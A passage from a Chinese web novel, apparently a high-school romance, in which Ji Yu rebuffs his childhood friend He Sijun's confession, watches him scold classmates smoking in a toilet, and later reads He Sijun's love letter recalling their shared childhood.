“任何时间都不可以!” “……” “你别以为我不知道你在想什么,偷偷的也不行!” 纪羽认为自己实在是厉害,面对着一个昨晚亲过他的男人还能面不改色心不跳。 他视线上抬,消除身高差的影响,将目光放到贺思钧的眼睛而不是会强吻人的嘴巴上。 “我不喜欢你,所以我要拒绝你,以后你和我之间需要保持距离,晚自习我也不和你一起了,你听清楚没?” 楼道里人来人往,纪羽不得不将声音一压再压,旁人只能看到两人交谈时严肃的神情。 “我想继续追你。” “什么?”纪羽像没听懂他的意思,“你刚刚没听见我说什么吗?” 贺思钧微微弯腰,视线与纪羽齐平,语气诚恳:“我知道昨天晚上是我太冲动,今晚我会和老麦单独谈一谈。” 纪羽背部瞬间拔直:“你和老麦谈什么,你别把他掺和进来。” “之前的事都是我判断不全面,昨天我应该在场把事情说明白,而不是让你和老麦单独相处。纪羽,我认为有必要让他们知道事实。” “什么事实,你在演电视剧吗?”纪羽睁大眼睛,“我难道自己不会说要你去说?其他人难道会突然之间释怀然后追悔莫及没有再多等一等我吗? “什么都不会发生的。贺思钧,你说得对,就算我上台了,我也不能保证我自己坚持到演出结束,演出效果或许还不如那个替补,是我没有对我自己负责,我和你,我和承风之间,是两码事。你什么都不要说,什么都不要做,这是我的乐队,和你没关系。” 缺乏睡眠让纪羽神经紧绷,这场不合时宜的争执应该在昨晚发生,却硬生生被推后到现在。 任何人听到这类被排斥在外的的言论或许都会被激怒,可贺思钧不是一般人。 “有些话你说不出口,你不敢说。” “那是我不愿意说!” “成年人和孩子是不一样的,”贺思钧挪了挪步子,从身后看他几乎把纪羽完全罩住了,他语调呈现安慰的柔和,“他们不会疏远你。” 旧事重提的滋味并不好受,纪羽瞪着他:“你有病你到处去嚷嚷吧,谁想理你呀,卖惨装可怜这套在新时代行不通了!” 一天到晚就只会说让人生气的话,还说要追他。 谁倒霉和贺思钧过日子,得早死几十年。 呸! 贺思钧肯定找不到对象,除了纪羽,谁会命衰地和他搭上关系呢? 纪羽气急,想走,才发现自己被逼近角落里,出路被贺思钧挡得死死的,眼睛瞪得溜圆:“你离我远点!” 贺思钧现在就觉得他好可怜,不知道要说什么才能让纪羽再为他停一停:“再等一下。” “没有好说的了!没有我的允许你不许干多余的事,如果被我发现你联系其他人,你就真的别想再和我说一句话了。”纪羽食指一点,“现在,快点让开。” “我还有话想说。” “……我要上厕所!” 闻言,贺思钧立刻让开位置,但也没放过纪羽,一路跟着纪羽进了厕所。 “出去。” 纪羽忍无可忍,把贺思钧踹出隔间。 他讨厌被人看见所以都在隔间解决。 原以为有贺思钧这种神人会跟他进厕所已经很罕见了,却不料听见最里间传来几个男生的说话声。 “给我来一口。” “喂!你别得寸进尺啊,你都来多少口了,本来量就不多,东西专给你供的?” “就是,兄弟们都守规矩一人一口,你呢,一口顶人三口,我真不想说你,要不是兄弟,我早抽你了。” “我不来了行了吧,切,又不是多好的东西,谁稀罕了。” “行了,剩下的我们分了,下次搞多点,过瘾!” 在这种特殊的场所,说一些似是而非的话总会让人联想到不好的事情。 重压下的高三生什么事都有可能做得出来。 纪羽面不改色穿好裤子,走出隔间洗手。 身后好像少了点什么。 回头一看,贺思钧竟然走到了最里边的隔间门外,抬手敲门。 “出来。” 纪羽闭上眼睛,吐出一口浊气,想趁他不注意走人。 “纪羽,等我一下,我有事要说。” 叫他名字干嘛,贺思钧在厕所待中毒了吧,刚刚那么久不说事,现在又在这里等等等! 到底要干嘛。 纪羽走也不是,张口骂他也不是,只好眼睁睁看着那扇隔间门后走出四个男生。 手脚都是挺干净,脸上灰黄油亮的,看上去几天都没洗过脸了。 纪羽不着痕迹地撇撇嘴。 “卧槽嘛呢,老子以为督查来了,吓死老子了。” “兄弟,有事你能直说不,玩心跳呢。” “干的这叫啥事啊?” “你反社会吗你?” 视线将他们从头到脚扫过,贺思钧一张脸正到发邪:“烟呢?” 顶着硕大青春痘的男生厚嘴唇蠕动了下,说:“就特么一根,还抢啊?” “丢水池里了?”贺思钧问。 “我们又不傻,那不最容易被发现吗?” “丢哪了?” 干巴瘦高的男生拍拍胸脯:“咽了!” “……”纪羽闭着眼睛翻了个白眼,不懂自己为什么要把时间浪费在这里。 “校内禁止吸烟,尤其是厕所。” 纪羽睁开眼,看到贺思钧整个人身上悄然闪耀起红色的光芒。 贺思钧怎么能不去军校呢,他多适合当督察啊。 特别适合被狠狠提干。 那几个男生明显不服管:“不是,关你什么事啊,管这管那的,管你爹呢。” 粗言粗语,听得纪羽更不耐烦,也不想管贺思钧还想找他说什么,抬腿就要走。 贺思钧余光瞥见门口人影晃动,也不再废话,几个男生眼前一黑啪得捂着膝盖跪倒在地:“卧槽我的腿好痛!” “谁踢我波棱盖了……” 贺思钧俯视几人,语速飞快:“厕所下水道中的气体含有甲烷,遇明火可能爆炸,二手烟中的气体对他人身体有害,麻烦你们遵守校规校纪,不要在教学楼里做危害其他同学人生安全的事。” 四人愣怔在地,连脏话都忘了说。 “我不希望再有下次。” 只见那环保标兵说完,转身大步出去,不带走这里的一点污浊。 “我感觉我裤子沾上尿了。” “你能别说话了不,我真够倒霉的,谁爱抽谁抽吧,遇上神经病了。” 贺思钧在教室门口拦住纪羽。 纪羽没走多快,贺思钧教训人的话都听到了,心里有点无语,还有点尴尬:“你……” 你怕我在厕所被炸飞啊? 纪羽无论如何也说不出这句话来,手脚蜷缩,五味杂陈,接下来一整天都不想再踏进厕所一步。 “我可以有多少次被拒绝的机会?” “什么?” 话题跳跃得太快,纪羽一时没反应过来。 “一天只算一次,我有多少次被拒绝的机会?” 上课预备铃刺啦啦响起,纪羽心里一缩,不知是因为什么的紧张漫上来,他控制着面上表情,显得有点冷漠,眼尾斜飞:“你以为是通关小游戏吗,失败了还可以重新来?” 他怕贺思钧不懂,一直追缠他,又怕别人听到,很小声地道:“表白失败的几率只会一次比一次高,它是累加的,你懂不懂?” “所以不止一次,对吗?” 纪羽抬起头,贺思钧的眼睛映着浅绿的玻璃光,像把他的身影包进一片湖水里。 在这件事上,贺思钧没有主动权,也无法左右纪羽的心意,纪羽掌握着绝对的话语权。 贺思钧的陷阱是为他自己设的,纪羽乐见其成。 “你可以试试看。” 于是,贺思钧送出了他的第一封情书。 土黄色的信封,没有装饰,封口严密,还带着掌心的余温。 在其他人眼里,它更像是一封道歉信,要为多日来两人诡异的氛围画上休止符,众人很期待纪羽的反应。 纪羽却把它随手塞进了书包的夹层,在众多资料、笔记和试卷的最底下,迟迟没有打开。 因为只有他知道,这是一封求爱的情书—— 作者有话说:短时期内不会和好,情书写了也是白写。 小羽:上课要迟到了,好紧张 有只小鸡感觉被人工智障盯上了,好恐怖(打哆嗦) 第26章 贺思钧这样的人也会写情书? 纪羽收到过很多情书, 从小学起,课桌里就时不时掉出几封颜色鲜亮的信件。 他把信带回了家,想着要怎么回复这些笔友, 却一不小心被纪律看见,信都被没收了。 起初, 纪羽是喜欢这些情书的。 在他绞尽脑汁把周记的内容扩充再扩充时,有人居然愿意为了他写一封长长的信,满满当当, 把纸面都占满了。 纪羽拿着那些信, 手里沉甸甸,身体变成了气球, 飘忽飘忽地脚落不到地上。 那些信里都这样夸赞他: 纪羽, 你和其他人都不一样,你有他们没有的大眼睛, 白皮肤, 也有比别人更好的心脏和肠子,因为你从来不会吓唬人, 不抓别人的衣服和头发, 你是班级里最干净最漂亮的人。 纪羽喜欢听到夸奖和吹捧,那些信里从来不缺这些, 甚至还有连纪羽自己也不知道的一面。 在情书里,纪羽是天底下最好最独特的人, 纪羽真的信了他们是这么喜欢自己。 他拿出极大的热情对待周围的人, 每天都像生活在云端里。 但很快, 他就发现那些信里多了些不同的东西。 心里不再描绘他美好且光辉的形象,而是更多的控诉、质问。 纪羽又成为了十恶不赦的人,他没法给出特别的爱去一一回应对方。 因为有了其他的感情掺杂, 连开始的友谊都很难维持了。 纪羽发现那些说喜欢他的人,更容易生气、难过,但他完全不明白根源是什么。 后来他突然间生了病,身上大片的淤痕被人发现,有人传着说这是传染病。 纪羽气愤不已,找着人要给自己讨公道,却被一脚绊倒在地上。 一圈人叽叽喳喳地吵作一团,说什么的都有,纪羽听到有人替他说话,也有人张口就说,是他人品有问题遭报应。 其实只是还没开智的小孩吵吵嚷嚷,还不懂约束自己,本能地宣泄恶意。 但纪羽却记在了心里,因为他分明记得说他遭报应的人之前为他写了好长好长一封信,说自己有多喜欢他。 原来喜欢和讨厌只差了一线,都是很浅薄片面的东西。 贺思钧也会有这样的感情吗,就算是再三确认过,纪羽也不敢相信。 接过信封时紧紧压在手下的情书两个字显得滑稽又大胆,纪羽的心紧张地怦怦乱跳,生怕让别人看见。 呆板到把情书两个字写在信封表面的追求者,纪羽前所未见。 贺思钧会写什么?照着网络上的模板写吗,学校里可没有发过情书的参考资料。 他不会在信里写“山有木兮木有枝,心悦君兮君不知”这种话吧? 纪羽心里像有一个小爪子挠啊挠,痒得他想蜷缩四肢抖上几抖。 坐立难安地度过了大半个早上,纪羽愈发觉得这是个阴谋没错,目的就是扰乱他的心神。 单双周的课表不一样,上午最后一节是走班课,贺思钧像是知道他很讨嫌,下课铃一打就走了。 “纪羽!” 梁子尧又来了。 纪羽看到他的脸,脑子里啪地一声接上了弦。 “干嘛这么看我,”梁子尧挠挠脸,“我脸上有东西?” “梁子尧。” 纪羽郑重其事地叫他,眼神晦暗捉摸不透,梁子尧不由紧张起来,两腿一闭,鞋跟一碰,只差站军姿:“怎么了?” 才被他当众下了面子没多久,这就若无其事地又凑上来了,该说他是心大好还是心思深沉更妥当? 做手工做什么不好,不做尤克里里不做个口哨笛子,偏偏做了把贝斯到他面前晃。 这是巧合还是有意为之? 纪羽打量他的神情,淡淡道:“你会弹贝斯吧。” “嗯?”梁子尧似乎不太理解,“你还在生我的气吗,我昨晚回去上网查了,把贝斯叫吉他好像是个笑话,我也没多注意那个教学视频的评论区,好像是闹了洋相。” 他语气很诚恳,没再嬉皮笑脸地插科打诨:“本来被拒绝我还有点生气,不过我仔细一想,确实是我没弄清楚,把送你的东西名字都弄错了,你不高兴也是应该的。” 梁子尧单手撑在纪羽课桌,姿态亲近语调自然,纪羽踢了下桌脚,桌子滑动他手没撑稳,重心偏移眼看着要摔倒在地上,就见他手臂一个大回旋堪堪站稳。 “我去,吓死我了,还好我身手好。” 看梁子尧又不知死活地把手撑在桌角耍帅,纪羽眼睛微眯。 好愚蠢的人。 “你会不会弹贝斯,再给你最后一次机会。” “这个……”梁子尧局促地搓了搓脸,“我该会吗?” “会就是会,不会就是不会。” “我可以学会!”梁子尧弯下腰,上身趴在课桌表面,目光灼灼盯着纪羽的眼睛,“你是不是喜欢乐队啊,所以才因为我弄错吉他和贝斯生气?我们学校最近好多人在办社团组乐队,可惜我们高三了不让加社团,你要是喜欢我们可以私下一起玩。” 有些人对喜欢的事物有着别样的执拗,看到有人在自己珍视的领域了解不深还嘻嘻哈哈地开玩笑,确实会恼火。 他好像终于抓住了引起纪羽情绪波动的契机,一时有点兴奋:“我学东西很快的,明天刚好放假,我们可以约出来聊聊详细的分工,再找人加入我们……” 眼看着梁子尧即将喋喋不休,纪羽打断他:“没有,我没兴趣,不组乐队,也不找你玩。” 梁子尧又烦人又爱瞎蹦跶,还没他一半聪明成熟稳重,应该不会设计什么阴谋诡计。 梁子尧再度被泼了冷水,眉头落下,直起身收了表情。 纪羽余光瞥他一眼,才发现梁子尧眼窝很深,嘴唇也薄,不笑的时候有点吓人。 他说话太难听了吗,梁子尧生气了? 他又没有说什么,都是他自己一个劲地讲,纪羽只是问他会不会弹贝斯而已,他都安排到组建乐队了。 纪羽有乐队,才不会和什么都不懂的门外汉上浪费时间。 而且说实在的,他真的不太懂该怎么应付像梁子尧这样的人。 “快上课了,你回座位呀。” “我不走。” “那你等老师来了骂你吧,反正和我没关系。” “我会说,是纪羽同学拉着我讲话,不让我走。” 纪羽忍无可忍:“你幼不幼稚?” 梁子尧瘪下嘴巴:“你愿意把我好友申请通过我就走。” “什么好友申请?”纪羽压根没注意过。 得知纪羽不是故意无视,梁子尧表情立刻舒展开:“我上上个礼拜给你发了好友申请,上个礼拜也发了,昨天也发了,你都没通过。” “我又没有时间上网。” “那你今晚通过一下,我们一块儿上课那么久了,连个好友都不是,多伤人心啊。” 纪羽不胜其烦:“知道了知道了。” 梁子尧眉开眼笑,离开前还放了个东西在纪羽手心:“补你的礼物,我照你的样子做的。” 一团毛茸茸的,有点扎手的东西在手掌里滚了一圈。 纪羽拿起来一看,是一团羊毛毡做成的小鸟,又圆又鼓,两个芝麻大的黑眼珠对着纪羽,特呆。 纪羽把它捏在手心,回头去找梁子尧。 梁子尧早有预料似的,对着他扯起嘴角,无声道:像吧? 纪羽把那坨黄鸡砸到了梁子尧脸上。 有了梁子尧一打岔,这节课纪羽倒是没再想起贺思钧的情书,在老师眼皮子底下把习题册往后做了两页。 效率是偷出来的! 这节一下课就是午餐,铃声刚打响就歘地飞出去几个人,梁子尧跑出去几步又跑回来问纪羽要不要一起。 纪羽坚定地拒绝了他,他要等柳承和展舒文回来。 可等了又等,秒针都转了几个圈,还是不见两人人影,连贺思钧也没回来,纪羽肚子空空,脑袋也开始晕,把早上柳承给他带的梨拿出来啃了。 又等了两分钟还是没见人,纪羽跑去走班教室看了看,一个人影也没见着。 回来的路上纪羽不由得多想。 展舒文和柳承不会是被贺思钧带走策反了吧,之前可从来没有过不等他就去吃饭。 贺思钧小时候睡前听的可不是什么格林童话、王子公主怪兽超人的小故事,贺泰安天天晚上给他讲三十六计,分析兵法,贺思钧说不定就是从中得了什么启发,要往他身上使呢! 昨晚上是围魏救赵,今早上是反客为主,现在说不定就轮到了反间计! 把他的朋友拉拢到自己身边,策反他们,让他孤立无援,在情感上制造脆弱点,才有可能趁虚而入。 纪羽脑子里正演到鸿门宴刘邦借故如厕,就见三人一连串在门口出现。 “小羽,快出来,我们找个空教室去。”柳承手上拎一大袋东西,看起来像是饭盒,包装看着像校外纪羽常吃的一家,他有点不好意思地笑一笑,“贺思钧说他请客。” 纪羽从后门跟出去,眼神在贺思钧、柳承和展舒文的脸上走过一圈:“你们背着我独立行动?” 展舒文撇清关系:“没商量过,贺思钧一下课就说让我们去拿饭,我是被胁迫的。” 贺思钧点头:“走过去太远了,我就没叫你。” 纪羽空着手,抱臂:“你一下课跑那么快是去点菜了?” “嗯。” 一行人走进空教室,柳承率先去搬桌子,展舒文抽出纸巾擦椅子,纪羽落后一步,把贺思钧扯到身侧,怎么看他都是专挑坏了的黄豆吃——没放好屁。 “你有什么企图?” 纪羽记吃不记打,转眼就忘了保持安全距离,几乎是贴着贺思钧的下巴说话,气息蹭到喉结,贺思钧偏头看到纪羽的眼睛又亮又大,眼下却是泛青。 他昨晚没睡好。 “没什么,一起吃饭比较热闹。”贺思钧在纪羽竖起眉头前说,“我到门口吃。”—— 作者有话说:其实等着被小鸡拒绝的人都排到fà国了! 第27章 下午只有两节课, 一伙人捱了半个月,总算盼来了假期。 天高云淡,放学铃一响, 教学楼里涌出一股接一股人浪。 纪羽混在人浪里,在校门口找到了杨康年。 周六, 杨康年不上班,穿着休闲装,手上还提了一袋柿子, 左躲右避地生怕被挤坏了。 “这儿呢!”见到纪羽, 杨康年高高挥手。 “哥!” “哎。”杨康年揽着纪羽肩膀逆着人流往外走,“今天人还挺多, 幸好来得早, 不然都挤不进去。你们学校门口还卖柿子呢,我买了点挺划算, 待会你拿去尝尝。” 纪羽没忍心告诉他, 门口老太太摆摊的蔬果都是网上便宜淘的,包装袋还在她屁股底下坐着呢。 不过人也是付出了自己的体力劳动的, 只是没老太太宣传的那么有机罢了。 纪羽上了车就捧了个柿子啃, 路上车多人多,杨康年脚下的刹车就没松过, 堵了十几分钟,干脆把车停在道旁等一等。 一对学生牵着手从车前走过, 十指紧扣, 双臂紧贴, 姿态亲密,耳朵却都是红的。 杨康年感慨了一句青春啊,又看了眼身侧两耳不闻窗外事一心埋头吃柿子的纪羽, 不由和他打趣:“小羽,你们学校抓早恋严不?” “严啊。”纪羽抬起脸来,柿子甜滋滋的,像块果冻,他吃得入神脸上也沾了果汁,“被抓到谈恋爱要写检讨的,还要请家长。不过他们胆子都很大的,一点都不怕。” 前几天纪羽就见过对面楼里高二的一对情侣贴在窗户前抱着亲,引来了一群人围观起哄,不知道最后是怎么处理的。 “你们这个年纪,越是不让做的事就越想做,谈恋爱都算基本的了吧?我上学那时候还会偷偷翻墙出去打游戏机呢。” “哥你胆子真大,我不敢溜出去。” 杨康年笑着给他扯了张纸巾擦脸:“我们哪能比啊,那时候监控都不多,我上的学校也就一般,老师也不大管,我都算是守规矩的,还有因为和女生亲嘴被抓从楼上跳下去摔断腿的。” 纪羽眼珠子一转:“那我哥呢,他上高中时候什么样?” “嘶——”杨康年这下犯了难,“你哥嘛,高中申请了私立高中,我还以为是什么国际学校,结果就和训练营似的,几个月见不着他人影。三天一小考,一周一大考,你哥打擂台呢,天天争第一,我到他们学校门口站一会儿都喘不上气来。” 纪羽舔舔嘴角的果汁,觉着挺没意思的,兴趣缺缺地听着,杨康年却陡地语调一转,面带神秘微笑说道:“不过啊,还有一件挺有意思的事。” 纪羽竖起耳朵:“是什么啊?” 杨康年也不卖关子:“他高二的时候,有半个月接连收到情书,每天不重样的表白还不署名。” “不会是有人喜欢他吧?他早恋了?” 纪羽仔细回想了下,纪律高二的时候他才六岁,没注意到纪律有什么异常,难道是他年纪太小了没察觉到? 一想到纪律可能谈过恋爱这件事就让纪羽浑身打哆嗦,感觉奇怪得很。 剩下半个柿子纪羽也不想吃了,两只眼睛眨巴眨巴等着杨康年接着说。 “这种事吧,原先只要冷处理就行了,但偏偏递情书的人特别有毅力,不管情书是会被丢掉、无视还是被班级里其他人发现议论,都不影响它每天早晨在纪律课桌里出现,那么久以来,没有人知道到底是谁做的……” 纪羽打断:“说不定是其他人知道不和他讲呢,我哥都没朋友的。” 而且,纪律还会把这种事说给杨康年听吗?此事真实性存疑! 想到一半,纪羽抬眼就见杨康年无奈地看他:“小羽,你还听不听了?” 纪羽:“听的听的。” 杨康年却不继续说了,反问纪羽道:“你猜最后纪律有没有被这些情书打动?” “没有……吧……”纪羽笃定的语气变得迟疑。 杨康年似笑非笑地看着他,让他更加不确信。 纪律一直都不是个好相处的人,就算是亲兄弟,纪羽也经常受不了他。他能有一个杨康年当朋友已经让纪羽很震惊,任何人在接触过纪律后都不会想和他深入交流,纪律也不是会打开心扉的人。 连送信的人都不知道,就只是几封信,纪律会被打动吗? 纪羽觉得不可能。 但万一纪律是个恋爱脑,怎么办? 纪羽住院没事干的时候就会看电视,各种偶像剧轮番在各大卫视播放。 这些电视剧里男角色都有一个特性,就是无论之前有多孤高冷傲,到了女主角面前,就会失去所有力气和手段,完全被激发出内心的另一面,好像变了个人。 万一,万一纪律就是碰见了他命运里的女主角呢,只不过他不是整个故事里的男主角,只是个炮灰,所以最终得不到女主角的心,只能受到情伤,变得更加冷酷无情无理取闹呢? 这也是完全有可能的。 纪羽回想起自己曾经收到过的情书,他在信里不光能看到他自己,也能窥见写信人有意无意表现出的性格特征。 纪律或许真的在那些情书里看到了和他性格契合的人,又或是被她的坚持所打动。 想到这,一股微妙的情绪爬上心头,硬邦邦地堵着喉咙深处,纪羽拧紧了眉毛,手上不由加重了力气。 “哎哎哎,小羽,手松松。” 杨康年焦急的喊声拉回了纪羽飘远的思绪,纪羽低头一看,澄黄的果肉从他指缝里溢出来,汁液顺着掌根向小臂淌。 “想什么那么生气?” 纪羽张开手掌方便杨康年替他擦去黏腻的果汁,瓮声瓮气地:“他对我都那么坏,怎么能喜欢别人?” 他可是纪律相处十几年的亲弟弟! 纪羽想到纪律会被某个人打动甚至喜欢上那个人,但对他依旧是这样随意处置的态度就让他很不舒服。 这一点都不公平。 “好了好了,别绷着脸了,哥跟你开个玩笑怎么生气了。”杨康年碰了下纪羽的脸,对纪羽突如其来的情绪转变习以为常,“其实啊那是个恶作剧。” “恶作剧?” “对,其实不止是纪律受到了情书,年级排行靠前的几个人,都收到了情书。送信的是个男生。” 纪羽微微张开了点嘴巴:“啊?” “那是高二学期快结束的时候了,马上迎来最后的大考,纪律他们学校有一点好,奖学金特别丰厚,最后大考排名前五的学生,才有资格得到奖学金。那个男生成绩其实还不错,但始终不稳定,所以……” “所以他就出阴招。” “对,没错,小羽真聪明。”杨康年顺毛哄,“不过他没想到这几个人都把情书交了上去,让老师处理,最后对照字迹,就把他抓住了。” 纪羽听完了故事始末,茫无端绪地眨眨眼睛:“那他文采还挺好的,也很有毅力。他最后受到什么惩罚了吗?” “那我就不知道了,我也是听别人讲的,你哥还说什么和他没关系,他不关心,气不气人?” 纪羽点点头:“气人。” 还好故事的结局是这么一回事,纪律还是这么一直气人吧。 说了一通话,接送的车辆也走得差不多了,杨康年启动车,平稳地拐进主路。 “你哥怕是这辈子都别指望成家了,小羽,你呢,在学校有没有喜欢的女生?” 纪羽眼前条件反射般闪过贺思钧向他靠近,不断放大的脸,压下眉抿着嘴摇了摇头,又突然意识到杨康年在开车可能看不到,说:“没有,我不早恋的,我高三了,我要抓紧时间。” 杨康年被他的觉悟逗乐了:“小羽真是长大了,太有规划了。不过啊,人越是到紧要关头,就越是爱开点小差,哥当年高三的时候,班里突然谈了好多对情侣呢,情书满天飞,这可是真情书啊。” 像所有长辈都会拿小孩的感情经历当重要的八卦拉进感情,杨康年自然而然地问道:“有没有女生喜欢你啊,你们现在还会写情书不,还是发短信说我特别喜欢你?” “没有!”纪羽突然铿锵有力地回答,手掌扣在腿面,手指用力,“我们,我们都不早恋……” 杨康年被他吓了一跳,接着遮掩打量了几眼纪羽的脸色,心里有了几分猜想,立即有眼力见地转开话题:“对了,我跟你说说我高考的时候吧,那年……” 一路畅聊,纪羽顺利到家,下车时杨康年把那袋柿子给了他,纪羽留他吃晚饭,杨康年摆摆手:“减肥呢,等过几天你生日吃顿好的,走了啊。” 纪羽站在院门口看着杨康年的车开远,转身抱着书包跑进屋里。 韩姨从厨房迎出来,纪羽人影都没见了。 “这怎么了这是。” 房门紧随着脚步声被关上,纪羽一口气冲进房间,在把包甩到床上和轻轻放下之间选择了后者。 他在书桌前坐下,手机倒扣在桌面,已经充满了电,书包放在桌面占据了大部分视野。 要先看承风群里发来的消息吗,还是先看……贺思钧的情书? 纪羽始终平静的胸膛在此刻放大了心跳的响声。 手指即将搭上手机背面时突然调转了方向,纪羽从书包夹层里取出了被挤压得有点皱巴的信封,打开了它。 第28章 信的开头写道: 「我是贺思钧, 现在是九月二十一日的早上四点三十九分。」 这还需要交代吗,又不是在写报告。 不过确实是贺思钧一贯的作风,也不稀奇, 纪羽在这几句话中找到了熟悉感,定了定心, 接着向下看。 「这封情书的用意并不是希望你接纳我、原谅我甚至喜欢上我,只是我似乎总是在你面前犯错,可我却很难意识到。 我想尽可能排除面对面说话时的干扰, 把我的想法告诉你。 上一次你告诉我, 如果和我一起长大的不是你,而是其他的人, 我也会关心他, 把照顾他当成习惯。 纪羽,你比我聪明, 也比我想得更多, 在其他事上,你都是对的, 但这件事, 你说错了。」 看到这儿,纪羽暂时放下信纸, 站起身在房间里走了几圈。 接下来就是表白了吧,好不习惯! 纪羽忍不住把那些深情款款的表情套进贺思钧脸上, 感到一阵违和, 全身起了一层鸡皮疙瘩。 缓过这一阵尴尬, 纪羽坐回去,继续看。 「从概率论来看,我和你作为陌生人相遇的概率不到0.005%, 成为朋友的概率只会比这更低。在实际情况中,我在没有自主意识的情况下,就已经认识了你并被你了解我的存在,是一种稀少的幸运。 我不清楚该如何探讨已发生事实以外的未知,现在已发生的一切,对我来说已经是最好。我不能将你替换成任何人设想,我做不到。」 纪羽四岁以前的记忆都很模糊,也不记得什么人,每天只是爸爸妈妈哥哥姨姨地叫,跟在人脚跟后面要抱。 贺思钧的记忆力却很好,他在信里说到了三四岁时早起去纪家找他玩的事。 朋友到了床边,纪羽还能呼呼大睡,最后是被纪律抱起来站了一会才醒的。贺思钧说他第一次见到有人会在床上躺着刷牙,也是从一刻起他认为纪羽是很特别的朋友。 和他见过的所有人都不一样。 “什么啊,都写跑题了。”纪羽哼哼唧唧地回想了一下,他小时候爱赖床又讨厌麻烦的事,刷牙也不好好刷,一说就生气,纪律就把他下巴捏开,一颗一颗给他刷干净。 他干脆躺到床上张开嘴巴露出牙齿,让纪律看得更清楚点,也省力气。 其他小孩可能确实没有他聪明又会审时度势吧,贺思钧那时候也小呢,看到这场面肯定很崇拜他。 「以前我没有察觉到,我们一起度过了很多年。」 纪羽从不知道贺思钧还记得这些小事。 比如纪羽先他一步上幼儿园,很是自豪的同时也怕他错过什么,把所有新奇的东西都藏了一份在口袋,攒到见面时展示给他看。 比如小学时因为贺思钧骑车摔伤了腿,家里的氛围异常紧张,纪羽每天都来看他,觉得他很可怜,总摸一摸他的腿就掉眼泪。 比如纪羽有次离家出走找他接应,过了很久都没从家里出来,贺思钧翻墙爬楼到他房间里,发现所有的行李箱都被装得满满当当,纪羽还问他,怎么办,他的东西太多了,他什么都不想给纪律留下。 比如他们坐车去看海,因为半路太饿在景区吃饭被宰而不够回家的路费。 纪羽也逐渐回想起那些往事。 纪羽小心翼翼攒起来的宝物很多是吃不完的零食,已经变质腐烂,却差点被贺思钧吃进肚子里。 去探望贺思钧的时候,纪羽总是很害怕,因为贺泰安也会在,他看到贺泰安空荡荡的裤管,怕贺思钧从此也会变得古怪又可怜。 而纪羽离家出走的规划没有一次成功,纪律总会在他即将离开时出现,问他要做什么。离家出走该是件让人措手不及的事,拿来做威胁就显得幼稚,因此纪羽每次都会说,是贺思钧在帮他整理房间。后来确实都是贺思钧把那些行李放回原位。 大海和江和湖在纪羽看来没什么不同,只记得景区的物价最特别,出了店门他们只剩下一趟公交的钱,贺思钧背着他走了很远一段路到中转站。 纪羽难得起了一点羞愧之心,但顷刻间就荡然无存。 贺思钧不是记忆很好吗,他记得这么清楚,明明就是乐在其中,哪里是受了逼迫的样子? 纪羽倒觉得,他越是折磨贺思钧,贺思钧反倒越喜欢。不然,为什么偏偏是在他们关系前所未有恶劣的时期,贺思钧会说出那句喜欢呢? 像是印证纪羽的猜想,贺思钧在信里写道: 「我想,其实你并不惊讶我会向你坦白,因为你知道,我截至目前的人生大半时间都被你占据,我知道你的所有,了解你的秘密,我看过你所有阶段的模样,如果我不爱上你还会爱上谁?」 纸面横生一道扭曲的压痕,纪羽像被火燎过手指,将信用力地丢到桌面。 贺思钧猜对了。 纵然纪羽心里划过再多念头,他也不为贺思钧喜欢他这件事震惊或反感。 他甚至为此洋洋得意。 他和贺思钧互相看着彼此长大,记忆里点点滴滴都有着对方的身影,从跌跌撞撞到现在,除了父母亲人,谁都不能越过这份不断积累的感情。 爱情再声势浩大地来临,也该有个落脚点,如果注定要爱上一个人,为什么不是身边最亲近的那个? 所有喜欢的评判,都在一个个堆叠的瞬间以纪羽为标准划定了最高分。 贺思钧是在和纪羽相处的时间里,选择了他自己。 纪羽当然要被喜欢,当然要受到独一份的看重,他必须拥有贺思钧感情的优先权,这才足够公平。 那点积压的懊丧和焦灼被不断跃动的畅快冲刷,连着后颈肩背酥酥麻麻地发软。 纪羽喜欢贺思钧向他坦诚,他像是终于握到了把控事态走向的缰绳,终于能把双手攥紧,抬起胸膛。 「同时,我知道你一定会拒绝我。你看出了我对承风的轻视,两个月里,你都不肯见我,我看到我的名字在你病房访客的黑名单上,你在提醒我做错了事,但我没有承认。」 消遣、游戏、刺激的爱好,是贺思钧对乐队的判定。它夺去了纪羽过多的注意力,让纪羽付出了超出限度的精力,也超出了贺思钧的容忍程度,因此他必须替纪羽悬崖勒马。 他在许多事上越过纪羽做了决定,除了在乎与保护,更隐晦的情绪被掩藏,或许连他自己都没能发觉,却引导着他走向事与愿违的方向。 「我不想和你分道扬镳,不想你因为我的决定承担后果,也不想你真的永远不原谅我。你可不可以告诉我,我要怎么做,才能让你不讨厌我?如果我从今往后,只听你的话,你会再高兴起来吗?纪羽,请你不要放弃我。」 这也算是情书吗,纪羽扫了一眼被拆下的信封,有些好笑。 他把读完的信纸拿在手里,纸背凸起的弧度硌着指腹,贺思钧下笔真重,一笔一划都像刻上去的,看着这一页端正又毫无美感的字迹,好像就看见了贺思钧在他面前,用滞涩的语调问他:“纪羽,你要放弃我吗?” 纪羽从不认为贺思钧对他来说多么重要,玩闹说笑和谁不都一样吗,只不过和贺思钧相处没什么负担,不用想太多罢了。 贺思钧是个太简单的人,纪羽不用猜他的心思,只管自己高兴就好。他觉得好,贺思钧也就认为好。 但又是什么时候他和贺思钧产生分歧了呢,是他把想法暴露得太彻底,而贺思钧却学会了隐藏心思的某一时刻? 对某事某物投入过多的关心,往往会忽视近在咫尺的异样,纪羽也不得不承认,在决赛之前,他连续一周疲倦乏力,关节胀痛,他用期待的喜悦盖过了隐忍的不适。 他确实害怕了,所以前一晚他几乎没有睡着。贺思钧消息发来的那一刻他才松了一口气,从床上坐起。 就算被发现,贺思钧也会替他安排好的,贺思钧会帮他的。 他把一切寄托在贺思钧身上,希望贺思钧替他承担他的后果。 他没能藏好,贺思钧也不肯听他的,软弱的私欲,不止他一个人有。 但现在贺思钧却说,要听他的话。 这是他为自己扎好捆带,为纪羽设下的圈套吗? 毕竟除了贺思钧自己,谁能保证贺思钧会对纪羽唯命是听,把纪羽当做他的自我去服从,去珍视呢? 纪羽当然希望有人爱他,但绝不能越过他,贺思钧在接受考验前就已经大大地落败过一回,他失去了所有优势,所以他生硬地讨好,不懂婉转、直白地抛出仅有的筹码,希望纪羽念在旧情的份上,再施舍他机会,不要像试图砸碎那把珍爱的贝斯那样丢弃他。 所以贺思钧问他,他有多少次被拒绝的机会? 哪怕是拒绝,积攒着,也会成为希望。 拐进院子的车摁响了喇叭,一只野猫被吓得惊慌失措,蹿了出去,纪羽也被吓到抬起了头,发丝慢了半拍柔软地坠下。 贺思钧真是可恶。 